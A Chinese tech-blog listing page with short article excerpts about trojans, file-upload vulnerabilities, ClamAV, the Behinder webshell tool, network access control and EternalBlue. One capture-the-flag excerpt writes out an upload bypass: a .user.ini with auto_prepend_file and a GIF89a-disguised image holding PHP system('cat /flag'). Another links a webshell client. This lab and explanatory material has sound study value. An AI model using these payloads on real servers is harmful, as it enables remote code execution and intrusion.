提示： 1，通过修改Cookie登录后台（没用重打）2，上传SHELL！3，Flag在Web根目录（flag.php）3.上传图片时建议上传小文件，我建议用QQ表情 尤里通过XSS终于得到了管理员Cookie，在修改了cookie后尤里直接绕过了登录密码，看到了后台功能！然后要做的，就是找一个上传点 ...
分类：
Web程序 时间：
2020-11-20 11:56:19
阅读次数：
14
ClamAV 介绍 ClamAV：是 Linux 操作系统上最流行的防病毒软件、GPL 协议免费发布、用于检测木马，病毒，恶意软件和其他恶意威胁的一个开源杀毒引擎。 官网地址：https://www.clamav.net 源码包下载地址：https://www.clamav.net/download ...
分类：
其他好文 时间：
2020-11-18 13:07:11
阅读次数：
10
首先添加上传一个.user.ini GIF89a auto_prepend_file=a.jpg 再添加上传一个a.jpg GIF89a <script language='php'>system('cat /flag')</script> 在这里可以看到 uploads/33c6f8457bd77 ...
分类：
Web程序 时间：
2020-11-02 09:58:07
阅读次数：
25
大家喝的是啤酒，这时你入座了…… 你给自己倒了杯可乐，这叫低配置。 你给自已倒了杯啤酒，这叫标准配置。 你给自己倒了杯茶水，这茶的颜色还跟啤酒一样，这叫木马。 你给自己倒了杯可乐，还滴了几滴醋，不仅颜色跟啤酒一样，而且不冒热气还有泡泡，这叫超级木马。 你的同事给你倒了杯白酒，这叫推荐配置。 人到齐了 ...
分类：
其他好文 时间：
2020-11-01 10:25:51
阅读次数：
18
终端接入控制（网络准入控制），由CISCO 2002年提出的主动防御技术。通过身份认证、终端安全检查、访问控制等技术实现对接入网络的终端进行全面的安全检测，防止感染了病毒、木马、蠕虫或其他不合法终端接入网络。 终端接入控制主要目的是保证网络边界完整性，提升内网安全性。实现过程大致为三步： 当终端接入 ...
分类：
其他好文 时间：
2020-09-24 22:07:21
阅读次数：
55
?# 文件上传漏洞专题 一、文件上传漏洞基础 ? web应用程序在处理用户上传的文件操作时，如果用户上传的文件的路径、文件名、扩展名成为用户可控数据，就会导致直接上传脚本木马到web服务器，直接控制web服务器 ? 文件上传：文件上传功能本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。 ...
分类：
Web程序 时间：
2020-07-21 09:50:46
阅读次数：
110
工具地址 https://github.com/rebeyond/Behinder/releases 主要功能 自带一句话 工具下载解压之后，里面有五种格式的一句话木马文件 基本信息 如果成功连接，会获取服务器的基本信息，我这里测试的时候连了个php的，显示的是phpinfo内容 命令执行 可以执行 ...
分类：
其他好文 时间：
2020-07-16 21:02:14
阅读次数：
156
允许用户上传图片资源（头像，发帖）是APP常见的需求，特别需要把用户的资源IO到磁盘情况下，需要防止坏人提交一些非法的文件，例如木马，webshell，可执行程序等等。这类非法文件不仅会导致客户端图片资源显示失败，而且还会给服务器带来安全问题。 通过文件后缀判断文件的合法性 这种方式比较常见，也很简 ...
分类：
编程语言 时间：
2020-07-16 00:24:40
阅读次数：
69
“安全模式”为高风险帐号提供专门的保护。当系统发现玩家帐号具有被盗特征，比如在中了木马或病毒的电脑上登录过，或本次登录不是玩家的常用登录地点，则系统默认该帐号为高风险帐号，使之进入安全模式。在安全模式下，账号的交易、丢弃、销毁物品等敏感操作将受到限制。 ...
分类：
其他好文 时间：
2020-07-14 13:48:41
阅读次数：
49
漏洞介绍：永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等 ...
分类：
其他好文 时间：
2020-07-13 12:06:12
阅读次数：
102
